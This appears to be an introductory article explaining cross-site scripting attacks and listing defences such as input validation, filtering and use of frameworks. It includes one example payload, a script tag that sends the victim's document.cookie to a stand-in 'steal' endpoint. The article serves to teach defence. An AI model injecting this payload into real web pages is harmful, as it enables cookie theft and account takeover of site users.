XSS is one of the vulnerabilities of web applications. This vulnerability allows attackers to inject malicious code into users’ browsers. This code runs in the user’s browser, allowing attackers to carry out their malicious actions. XSS is one of the most common vulnerabilities in web applications.

XSS attacks are usually carried out through inputs sent to web applications. These inputs may contain JavaScript code embedded in web pages. Using this code, attackers can perform operations on users’ browsers.

For example, an attacker can insert malicious code into a search box on a website. When the user performs a search in this search box, the attacker’s code will run and perform malicious actions in the user’s browser. These malicious actions may include stealing the user’s login credentials, redirecting them to a malicious site, or obtaining sensitive information by displaying a fake form.

As a result, XSS attacks pose a major security threat to web applications. Web developers can prevent such attacks by performing input validation, filtering inputs, and using secure HTTP protocols. In addition, users consciously using inputs on websites and keeping their browsers up to date can also help prevent XSS attacks.

To give an example of how XSS attacks can be carried out.

For example, if a web application has a search box and when a search term is entered in this box, we are redirected to the results page, attackers can inject a malicious code into this search box. This code will run in the user’s browser and perform the malicious actions desired by the attacker.

In the following example, the attacker has inserted a malicious JavaScript code into a search box:

‘<script>

var xhr = new XMLHttpRequest();

xhr.open(‘GET’, ‘http://example.com/steal?cookie=’ + document.cookie, true);

xhr.send();

</script>’

This code will run in the user’s browser and steal the user’s cookies using document.cookie. These cookies may contain sensitive information, such as the user’s login details.

In this example, the attacker’s goal is to steal cookies from the user’s browser and then use this information to perform malicious actions. Therefore, web applications should take measures to validate and filter inputs. For example, by adding a validation function to this search box that only accepts text input, we can prevent malicious code from being injected.

To prevent XSS attacks, web applications should validate and filter input and limit the JavaScript code executed in users’ browsers. The following methods can be used to prevent XSS attacks:

Input validation: Web applications should validate the user’s input. This is a method used to check whether the user’s input is in the expected format. For example, we can set limits on the characters that can be entered in a search box or limit the maximum number of characters that can be entered in a form field.

Input filtering: Web applications can filter the user’s input. This is a method for detecting and blocking malicious code in the user’s input. For example, input filtering functions can detect and block HTML, JavaScript or CSS code in the user’s input.

Use of secure HTTP protocols: Web applications can encrypt data using secure HTTP protocols such as HTTPS. This can prevent users’ data from being stolen by third parties.

Limiting user input: Web applications can limit the JavaScript code that is executed in users’ browsers. This can prevent attackers from injecting malicious code into users’ browsers. For example, web applications can block JavaScript code by allowing users to enter only text in their input.

Use of frameworks and libraries: Web applications can use various frameworks and libraries to prevent vulnerabilities. This is a widely used method to secure web applications.

As a result, to prevent XSS attacks, web applications should validate and filter inputs and limit the code running in users’ browsers. In addition, additional methods such as the use of secure HTTP protocols and the use of frameworks / libraries can also be used.